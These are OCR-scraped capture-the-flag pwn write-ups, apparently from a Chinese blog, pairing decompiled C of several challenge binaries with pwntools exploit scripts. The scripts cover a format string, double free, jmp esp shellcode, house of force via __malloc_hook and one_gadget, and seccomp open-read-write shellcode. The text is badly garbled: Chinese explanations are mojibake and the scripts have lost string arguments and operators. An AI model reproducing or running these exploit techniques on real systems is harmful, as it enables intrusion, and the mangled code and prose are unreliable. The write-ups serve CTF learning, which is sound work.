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int _ cdecl main(int argc, const char **argv, const char **envp)

{
char s; // [rsp+Fh] [rbp-1h] BYREF

memset(&s, ©, ex4eeuLl);

fgets(&s, 1023, stdin);

printf(&s);

if ( 11 * judge * judge + 17 * judge * judge * judge * judge - 13 * judge * judge * judge - 7 * judge == 198 )
system("exec /bin/sh");

return 8;
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from pwn import

context.log level

r remote( ,25108)

judge 0x060105C

payload p64(judge)

r.sendline(payload)

r.interactive()
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Sandbox_Loading();

TFTrRT-

puts("1: add an inode ");

puts("2: remove an inode ");
puts("3: show an inode ");

puts("4: leave message and exit. ");
puts(”-f--------momemememaeaes ");
printf("which command?\n> ");

return __ readfsqword(@x28u) ~ vi;
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unsigned __int64 init()
{
int fd; // [rsp+4h] [rbp-Ch]
unsigned __inté4 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsgword(@x28u);
fd = open("flag", @);
if ( fd == -1 )
{
puts("no such file :flag");
exit(-1);
X
dup2(fd, 666);
close(fd);
setvbuf(stdout, ©LL, 2, ©LL);
setvbuf(stdin, eLL, 1, ©LL);
setvbuf(stderr, ©LL, 2, OLL);
alarm(@x3Cu);
return __readfsgword(&x28u) ~ v2;

VEfRdup ()5 dup2()
BT DA B0 2 K it A& i flag ) fd 45 £ 24 666.

add
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unsigned __inté4 v3; // [rsp+8h] [rbp-18h]

v3

= __readfsqword(©x28u);

printf("TYPE:\nl: int\n2: short int\n>");

V2

= get_atoi();

if ((v2 ==1)

{

int pt_= mallociaxzauLin

h

if ( !int_pt )
exit(-1);
bool = 1;
printf("your inode number:");
vl = (int *)int_pt;
*ye = get_atoi();
*((_DWORD *)int_pt + 2) = *(_DWORD *)int_pt;
puts(“add success !");

if (v2 ==2)

{

h

short_pt = malloc(@x10uLl);
1 I'short_p
exit(-1);
bool = 1;
printf(“your inode number:");
*(_WORD *)short_pt = get_atoi();
*((_WORD *)short_pt + 4) = *(_WORD *)short_pt;
puts(“add success !");

return __readfsqword(@x28u) ~ v3;
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remove

unsigned __ inte4 delete()

{

int v1; // [rsp+4h] [rbp-Ch]

unsigned __inté4 v2; // [rsp+8h] [rbp-8h]

readfsqword(©x28u);

printf("TYPE:\nl: int\n2: short int\n>");

vl = get_atoi();
if (vl == 1 && int_pt )

{
free(int_pt);
bool = 8;
puts("remove success !");
}
if ( vl == 2 && short_pt )
{
free(short_pt);
bool = 8;
puts("remove success !");
}
}
else
{
puts(“"invalid !");
}
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show

unsigned __1nte4 show()

{

int v2; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

3 = __readfsqword(@x28u);
f ( show_time-- )

=

i
{
printf("TYPE:\nl: int\n2: short int\n>");
v2 = get_atoi();
if (v2 == 1 && int_pt )

printf("your int type inode number :%d\n", *(unsigned int *)int_pt);

if ( v2 == 2 && short_pt )

printf("your short type inode number :%d\n", (unsigned int)*(__intlé *)short_pt);

}

return __readfsqword(@x28u) ~ v3;
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leave and exit

l{void __noreturn bye_bye()

2{

3| char ve[104]; // [rsp+8h] [rbp-76h] BYREF
1| unsigned __inté4 v1; // [rsp+68h] [rbp-8h]
2

5| vl = __readfsqword(©x28u);

7| puts("what do you want to say at last? ");
3| __isoc99_scanf("%99s", v@);

3| printf(“"your message :%s we have received...\n", v@);
3| puts("have fun !");

L| exit(e);

2|}

void _ noreturn bye_bye()
{
char ve[104]; // [rsp+6h] [rbp-76h] BYREF
unsigned __inté64 v1; // [rsp+68h] [rbp-8h]
vl = _ readfsgword(@x28u);
puts("what do you want to say at last? ");
__1s0c99_scanf("%99s", v@);
printf("your message :%s we have received...\n", v@);
puts("have fun !");
exit(0);
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addr_chunk@_prev_size = show(2) 0xao

print (addr_chunk@_prev_size)

W T R HE, BT IRATTH % double free, K HEE F) 4 — > chunk.



, addr_chunk@ prev_size)

, addr_chunk@ prev_size)
, 0x91)

HIE 2 58 —PchunkBE T, AT LA B fsize, SR Z2IXBEIE, ERie i Aunsorted bin. AT AT 55 Lk

for i in (0, 7):
remove(1)
add(2, 0x20)

remove (1)

malloc_hook (show(1) oxfffffffffffffoo0) (libc.sym[
libc_base malloc_hook libc.sym[ ]
addr__I0_2 1 stdin__fileno libc_base libc.sym[

(libc_base)
(addr__I0 2 1 stdin__ fileno)
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@dd(1, addr__I0 2 1 stdin__ fileno)

g double free.

https://blog.csdn.net/yon

22135
SRR — B R i

chunk, MEH1)3290, #3260, f#If)mifa70, 5 L3A11666, f)mfiitiflag.

https://blog.csdn.net/yongbaoii

from pwn import




r = process(
elf = ELF(

add(add_type, add_num):

r.sendlineafter(

r.sendlineafter( (add_type))
r.sendafter( (add_num))

remove (remove_type):
r.sendlineafter(
r.sendlineafter( (remove_type))

show(show_type):
r.sendlineafter(
r.sendlineafter( (show_type))
if show_type 1:
r.recvuntil(
elif show_type
r.recvuntil(
return (r.recvuntil( ))

addr_chunk® prev_size show(2) Oxao

print (addr_chunk® prev_size)

add (2, addr_chunk@ prev_size)
add (2, addr_chunk@ prev_size)
add (2, 0x91)

for i in (0, 7):
remove(1)
add(2, ox20)

remove (1)

malloc_hook (show(1) oxfffffffffffffooo) (libc.sym[ oxfff)
libc_base malloc_hook libc.sym[ ]
addr__I0_2 1 stdin__fileno libc_base libc.sym[

(libc_base)
(addr__I0 2 1 stdin__fileno)

gdb.attach(r)

@dd(1, addr__I0 2 1 stdin__ fileno)




addr_chunke_fd = show(1)
addr_chunke_fd)
addr_chunke_fd)

111)
666)

r.sendlineafter(
r.recvuntil(

r.interactive()
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int pwn()

{
char s[24]; // [esp+8h] [ebp-20h] BYREF

puts("\nHey! ~_~");
puts("\nIt's nice to meet you");
puts("\nDo you have anything to tell?");

puts(">"); -
fflush(stdout); void hint()

fgets(s, 50, stdin); { .

puts("OK bye~"); __asm { jmp esp }
fflush(stdout); ¥

return 1;

0wy
hint.



il s =]

; Attributes: bp-based frame

; void hint()
public hint
hint proc near
; __unwind {

push ebp

mov ebp, esp
jmp esp

hint endp
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shellcode=asm (shellcode)
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from pwn import

r remote( ,27725)

context(log level ,arch

jump_esp=0x8048554

shellcode

shellcode=asm(shellcode)

payload=shellcode.ljust(0x24, )+p32(jump_esp)

payload+=asm(

r.sendline(payload)

r.interactive()
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void __ fastcall _ noreturn main(int al, char

{

__inte4 v3; // rax
char s[256]; // [rsp+1@h] [rbp-118h] BYREF

v5 = _ readfsqword(@x28u);
setbuf(stdin, OLL);
setbuf(stdout, ©LL);
setbuf(stderr, 6LL);
memset(s, 255, sizeof(s));
while ( 1 )
{

memset (s, 255, sizeof(s));

puts("1l:add");

puts("2:puts™);

read(@, nptr, ©xFuLL);

v3 = atol(nptr);

if (v3 ==1)

{

sub_A20();

}

else if ( v3 == 2 )

{

sub_B92();

}

}

-
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unsigned __int64 v5; // [rsp+118h] [rbp-8h]

¥*232, char

¥*23)



add

v5 = _ _readfsqword(©x28u);
memset(&s, 255, ©xleeuLLl);
for ( 1 = (char *)&unk_202080; *(_QWORD *)i; 1 += 8 )

if ( 1 - (char *)&unk_202080 > 39 )
exit(e); )
puts("size");
read(®, nptr, OxFuLL);
size = atol(nptr);
*(_QWORD *)i = malloc(size);
if ( !*(_QWORD *)i )
exit(e);
printf("bin addr %p\n", *(_QWORD *)i, i, size);
puts(“content");
puts(“done");
return __readfsqword(@x28u) ~ v5;
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puts

unsigned _ int64 puts_0o()

{
unsigned __int64 v@; // STes 8

ve = _ readfsqword(@x28u);
puts(&byte_D93);
return __readfsqword(@x28u) ~ vo;

}

SAFEA ARG, DORE.... AT DABRATIE. ...

RNThEE SfE A T o T HLIRR BB 452 house of force
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(unsigned ) (size) (unsigned ) (nb + MINSIZE)

G R IRATEop chunk K/ AOXFFFFFFFFFFFFFFFF, #E4T ELE I S 12 BB/ S 80T b, st— e pbdnt i dr, et
A7 UL LI, FRATIE REIT 45 2heap chunk i, FEi1%top chunkiiit, 2 f5 il % malloc_hook5top chunkffifFs,ic A
offset

9D T B fidoffset -0x33 (i ik AF 2, SRR NS 55 1 R — 2 B20x33, 0x37-0x303t Fl#rT LA, FRATTi H (12 24
top_chunk{ #malloc_hook-0x20) K/, I FRATE KA A malloc_hook-0x10,iX £ K A i Hone_gadget 25

realloc} A% it 171 2%

from pwn import

remote( , 28429)

one_gadget 0x4526a

def add(size, content):
r.recvuntil( )

.sendline(

.recvuntil( )

.sendline( (size))

"
"
"
"

.recvuntil( )

addr (r.recvuntil( ).strip(), 16)
r.recvuntil( )

r.send(content)

return addr

def show(index):
r.recvuntil(

r.sendline(

libc.address add(0x200000, ) 0x200ff0o

heap_addr = add(0x18, 0x10+p64(0)+p64 (OXFFFFFFFFFFFFFFFF))
top heap_addr + 0x10

malloc_hook libc.sym[ ]

one_gadget one_gadget libc.address

realloc libc.sym[ ]

offset malloc_hook - top

system libc.sym[ ]

bin_sh = libc.search(

add (offset-0x30, )
add (0x10, 8+p64(one_gadget)+p64(realloc+0x10))
.recvuntil( )
.sendline(
.recvuntil(
.sendline( (@12)))

.interactive()
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__int64 sub_4e0949()

{
__inte4 vi; // [rsp+8h] [rbp-8h]
vl = seccomp_init(eLL);
seccomp_rule_add(vl, 2147418112LL, oLL, OLL);
seccomp_rule_add(vl, 2147418112LL, 1LL, OLL);
seccomp_rule_add(vl, 2147418112LL, 2LL, eLL);
seccomp_rule_add(vl, 2147418112LL, 6eLL, ©LL);
return seccomp_load(vl);

¥

ARCH_X86_64
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int sub_4eeA16()

{
char buf[32]; // [rsp+@h] [rbp-206h] BYREF

puts("Easy shellcode, have fun!");
read(e@, buf, ex38ulLl);
return puts("Baddd! Focu5 me! Baddd! Baddd!");

}

SR 5 X ikEk 3 £ 2 Sshellcode .
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from pwn import
context.log level
r = process(
jmp_rsp = 0x400a01

shellcode

asm(shellcode, arch
payload.ljust(40,
p64(jmp_rsp)

r.sendlineafter( , payload)

r.interactive()

{EZ LS RATHIX A %ﬁ@ﬁ%,@ﬂﬂﬁﬁﬁ
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mmap ((void *)@xl23eee, exleeeuLL, 6, 34, -1, eLL);




void *mmap(void *start, size_t length, int prot, int flags, int fd, off_t offsize)

mmap () FH SRR AN S A A 2R S 21 A AT, X2 N A DX B A R B B S A S

start  IEEBINAIRNTFEAENE, BERANULL, {KF RSB EEmht, YNATHEZithtEIRE],
length RFRSUGHZABREBSTINEIN,

RS XIERIEF o=, B MG

* PROT_EXEC BRSIXIHATHNAT;
prot e PROT READ MstXIsiET#iEa;

e PROT WRITE MSIXIGHRIHEN ;

e PROT NONE Bh&IXIsARERZHY,

SRR XA S R :

e MAP_FIXED #NER2%{ start FiSHIMEUETCIARR IR BREAT, MIBGEIRESS, AXwhHEIEE, BEARK
FhFB AR,

e MAP SHARED MWSXKIBMNSENSIELEHESUEN, mBeFEtbihshz A fHiei=,

e MAP_PRIVATE XIRRXIFIIS NIBIEST=4— MR IEH], BIRAAN"SARES" (copy on
write) X It KIS ERHETHE SEBA S S RIFRRADUGE R A,

e MAP_ ANONYMOUS @EVERMET, IWFSRZIESEfd, NwrkSit, mEMsXEGAE e
H=,

e MAP_DENYWRITE RAVFIRSKIENS NRE, Bt EES \NRBESgia9s,

e MAP LOCKED #istXiEifie, XFmzXis Ay Sk (swap).

flags

1EEEmmap B REISEMAP_SHARED 8iMAP_PRIVATE,
fd open(iREIFNIFEIAE, RFTRARIREIRINTZERIAL,
offset MHMESHREHRE, BEIREN0, KENHEEIHFHANR, offseti/iES TA/NNERESE,
proth7 60110, & 7] 5 Al $h47,
flagsf3471%00100010.

fdff) il S48 BB BINAF PR SOPF A T . WRAE AT B % A AF BT, Bliflags i B T MAP_ANONYMOUS, fd#4-1. 11
SE RGN SRR A A AF S, AT LU HifopentT T /devizero U, SR JEXTZSCAFBEAT LG, AT DLIRIAE I 81 B 44 A A7 AR FRO 2
R

I AFATE 2 LSRR, ik T Sshellcodef i, Al /Eihe R, FIHjmp rspik itk EHATHRD, SRIE7E
mmapilBiflishellcode’s I, ki 2z, $h47,



from pwn import

context.log level

context.arch

context.os

elf = ELF(

remote( ,27680)

jmp_rsp = 0x400A01
mmap 0x123000

orw_payload shellcraft. ( )

orw_payload shellcraft.read(3, mmap, ©x50)
shellcraft.write(1, mmap,0x50)

asm(shellcraft.read(0,mmap,0x100) )+asm(
payload.ljust(©x28,b )
p64(jmp_esp)+asm(
)
r.sendline(payload)

shellcode = asm(orw_payload)

r.sendline(shellcode)

r.interactive()
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